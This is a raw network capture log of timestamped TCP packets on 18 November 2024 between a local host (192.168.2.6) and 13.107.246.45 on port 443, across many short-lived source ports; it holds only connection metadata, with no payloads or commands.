Nov 18, 2024 02:34:58.807816982 CET	50029	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.807851076 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.807920933 CET	50029	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.811362982 CET	50029	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.811386108 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.813438892 CET	50030	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.813458920 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.813513994 CET	50030	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.813649893 CET	50030	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.813667059 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.835621119 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.835663080 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.835715055 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.835755110 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.835822105 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.836035967 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.836080074 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.836108923 CET	50026	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.836131096 CET	443	50026	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.838404894 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.838422060 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.838490963 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.838613033 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.838627100 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.861198902 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.861262083 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.861413956 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.861502886 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.861519098 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.861561060 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.861574888 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.863862038 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.863907099 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.863995075 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.864125967 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.864156961 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.944287062 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.944818974 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.944864035 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:58.945290089 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:58.945297956 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.075079918 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.075333118 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.075438976 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.075515032 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.075540066 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.075553894 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.075562000 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.078320026 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.078383923 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.078454018 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.078623056 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.078639984 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.557568073 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.559772968 CET	50030	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.559788942 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.560250998 CET	50030	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.560256004 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.560942888 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.561213970 CET	50029	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.561234951 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.561572075 CET	50029	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.561578035 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.587888956 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.588443995 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.588454008 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.589102030 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.589107037 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.605694056 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.606210947 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.606265068 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.606623888 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.606637955 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.688421965 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.688622952 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.688682079 CET	50030	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.688716888 CET	50030	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.688724995 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.688738108 CET	50030	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.688743114 CET	443	50030	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.691306114 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.691387892 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.691492081 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.691663980 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.691699982 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.692802906 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.692871094 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.692941904 CET	50029	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.692953110 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.693048954 CET	50029	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.693048954 CET	50029	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.693056107 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.693078995 CET	443	50029	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.695188999 CET	50035	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.695271969 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.695357084 CET	50035	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.695492029 CET	50035	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.695528030 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.727045059 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.727093935 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.727212906 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.727293015 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.727293015 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.727462053 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.727472067 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.727482080 CET	50031	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.727487087 CET	443	50031	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.730175972 CET	50036	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.730191946 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.730283976 CET	50036	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.730416059 CET	50036	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.730429888 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.739114046 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.739136934 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.739196062 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.739197969 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.739253998 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.739402056 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.739403009 CET	50032	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.739430904 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.739454031 CET	443	50032	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.741462946 CET	50037	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.741483927 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.741559982 CET	50037	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.741688013 CET	50037	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.741709948 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.819297075 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.819835901 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.819875002 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.820293903 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.820302963 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.950362921 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.950376987 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.950428963 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.950469971 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.950711012 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.950711012 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.950738907 CET	50033	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.950761080 CET	443	50033	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.953278065 CET	50038	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.953300953 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:59.953367949 CET	50038	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.953500986 CET	50038	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:59.953507900 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.424626112 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.425151110 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.425214052 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.425597906 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.425614119 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.471349955 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.471882105 CET	50036	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.471916914 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.472346067 CET	50036	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.472352028 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.480176926 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.480447054 CET	50037	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.480475903 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.480809927 CET	50037	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.480817080 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.491835117 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.492109060 CET	50035	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.492141962 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.492415905 CET	50035	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.492423058 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.559134007 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.559242964 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.559305906 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.559353113 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.559393883 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.559451103 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.559545040 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.559577942 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.559603930 CET	50034	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.559633970 CET	443	50034	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.562417030 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.562443972 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.562505960 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.562794924 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.562809944 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.604111910 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.604362011 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.604458094 CET	50036	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.604624987 CET	50036	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.604633093 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.604643106 CET	50036	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.604646921 CET	443	50036	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.614026070 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.614051104 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.614124060 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.614289999 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.614304066 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.618818045 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.619503021 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.619577885 CET	50037	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.619626999 CET	50037	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.619626999 CET	50037	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.619646072 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.619657993 CET	443	50037	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.622318029 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.622337103 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.622417927 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.622551918 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.622566938 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.626604080 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.626735926 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.626837969 CET	50035	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.626960039 CET	50035	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.627002001 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.627032995 CET	50035	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.627049923 CET	443	50035	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.628966093 CET	50042	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.628990889 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.629070997 CET	50042	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.629206896 CET	50042	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.629221916 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.679066896 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.679915905 CET	50038	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.679929018 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.680372000 CET	50038	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.680377007 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.830926895 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.831180096 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.835330963 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.835422993 CET	50038	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.835499048 CET	50038	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.835510015 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.835520029 CET	50038	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.835525990 CET	443	50038	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.837934971 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.837966919 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:00.838047028 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.838186026 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:00.838198900 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.288659096 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.291260004 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.291290045 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.291975021 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.291987896 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.354171038 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.354717016 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.354729891 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.355287075 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.355294943 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.361351967 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.361682892 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.361695051 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.362109900 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.362117052 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.416371107 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.416420937 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.416485071 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.416501999 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.416531086 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.416553974 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.416579962 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.416749954 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.416760921 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.416775942 CET	50039	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.416780949 CET	443	50039	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.419548988 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.419595003 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.419656992 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.419787884 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.419805050 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.495008945 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.495074034 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.495151043 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.495174885 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.495408058 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.495425940 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.495425940 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.495448112 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.495465994 CET	50040	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.495471954 CET	443	50040	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.498189926 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.498225927 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.498317003 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.498460054 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.498476028 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.576472998 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.576917887 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.576939106 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.577356100 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.577361107 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.761748075 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.762257099 CET	50042	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.762284994 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.762721062 CET	50042	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.762727976 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.788625956 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.788687944 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.788741112 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.788753033 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.788774967 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.788846016 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.788846016 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.789500952 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.789589882 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.789597034 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.789623022 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.789628029 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.789691925 CET	50041	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.789694071 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.789711952 CET	443	50041	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.792315006 CET	50046	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.792357922 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.792480946 CET	50046	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.792615891 CET	50046	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.792634964 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.822016001 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.822048903 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.822069883 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.822098017 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.822109938 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.822149038 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.822171926 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.831454039 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.831509113 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.831533909 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.831541061 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.831562996 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.831582069 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.831610918 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.831655025 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.831752062 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.831763029 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.831772089 CET	50043	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.831775904 CET	443	50043	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.834546089 CET	50047	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.834584951 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.834733963 CET	50047	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.834842920 CET	50047	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.834862947 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.892452955 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.892522097 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.892570019 CET	50042	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.892584085 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.892694950 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.892751932 CET	50042	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.892805099 CET	50042	443	192.168.2.6	13.107.246.45
